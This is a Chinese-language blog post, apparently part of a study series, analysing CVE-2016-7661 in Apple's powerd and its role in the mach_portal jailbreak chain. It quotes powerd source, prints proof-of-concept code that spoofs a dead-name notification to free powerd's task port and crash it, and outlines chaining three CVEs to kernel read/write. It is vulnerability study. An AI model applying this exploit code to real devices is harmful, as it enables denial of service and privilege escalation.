浅析mach_portal(3)— CVE-2016-7661

CVE-2016-7661

漏洞详细分析在这里

这个漏洞主要讲的是一个叫做power的进程在处理通知消息时进行了一些错误的处理,导致本不应该被释放的消息的port被释放,最终造成对power进程的拒绝服务,接下来在Ian beer的write up上简单学习一下漏洞大概的因果

首先power进程是通过pmServerMachPort来进行消息的处理,在这期间调用mig_server_callback函数来处理pmServerMachPort上的新消息,

1
2
3
4
5
6
7
8
9
10
11
12
13
static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{
mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(
NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
1
2
3
4
5
6
typedef struct {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
mach_msg_format_0_trailer_t trailer;
} mach_dead_name_notification_t;

当接收到消息的msgh_idMACH_NOTIFY_DEAD_NAME的值进行比较,如果相同,则将直接调用mach_port_deallocate对消息进行销毁。
由这个消息的头标志位我们了解到这是一个简单消息,
所以not_port参数可以将mach_dead_name_notification_t消息直接传递给mach_port_deallocate进行销毁
一旦这个消息被异常释放,紧接着其他power中有关这个消息的函数将全部奔溃,最终导致power这个进程奔溃

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// send the fake notification message
err = mach_msg(&not.not_header,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct notification_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
// -framework IOKit to get this
kern_return_t
io_ps_copy_powersources_info(mach_port_t,
int,
vm_address_t*,
mach_msg_type_number_t *,
int*);
static void* kill_powerd_thread(void* arg){
mach_port_t service_port = lookup("com.apple.PowerManagement.control");
// free task_self in powerd
for (int j = 0; j < 2; j++) {
spoof(service_port, 0x103);
}
// call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
// and deref an invalid pointer
vm_address_t buffer = 0;
vm_size_t size = 0;
int return_code;
io_ps_copy_powersources_info(service_port,
0,
&buffer,
(mach_msg_type_number_t *) &size,
&return_code);
printf("killed powerd?\n");
return NULL;
}
void kill_powerd() {
pthread_t t;
pthread_create(&t, NULL, kill_powerd_thread, NULL);
}
/*

由于目标是让power进程奔溃重启,结合利用代码,当我们向power进程发送消息时,以0x103作为参数值时,则会使power调用mach_port_deallocate对目标port进行释放,然后又对消息进行虚拟内存分配,由于消息已经被释放了,所以内存分配理应失败。
但是power却不知道此时内存分配早已失败,并且对一个无效的地址指针进行取值,于是power进程就会发生奔溃,

mach_portal的利用方法

众所周知,想要完成越狱,最少需要两个漏洞,一个是获取root权限,另一个则是绕过内核的保护。mach_portal通过前三个漏洞组合起来可以实现内核的任意读写,然后就是对一些内核保护比如沙盒等的绕过。

漏洞利用:

  1. 首先通过CVE-2016-7637,替换launch中的iohideventsystem port,接收到原本发往特权port的消息,实现中间人攻击。
  2. 然后通过CVE-2016-7661,使得powerd进程崩溃重启,获取powerd的task port,进而获得host_priv
  3. 最后通过CVE-2016-7644,造成内核UAF,获得内核task port,实现内核地址空间任意读写

小结

这几篇漏洞利用的学习,断断续续写了好几天,当初在看《深入解析macOS/iOS操作系统》时也了解了一些深入mach_ipc的一些知识,但真正去参考别人的poc去分析的时候还是会发现很多不足,从cve-2016-1757开始一直学习有关mach_ipc的知识,也有一定的经验,个人认为了解详细的内核知识,一些相关的xnu源码是必读不可的

参考:
《深入解析macOS/iOS操作系统》
《iOS Internals Volume 3》
http://bobao.360.cn/learning/detail/3740.html
http://turingh.github.io/2017/01/15/CVE-2016-7644-三谈Mach-IPC/
https://bugs.chromium.org/p/project-zero/issues/detail?id=965&can=1&q=apple&sort=-id

文章目录
  1. 1. CVE-2016-7661
    1. 1.1. 漏洞利用
    2. 1.2. mach_portal的利用方法
    3. 1.3. 小结
|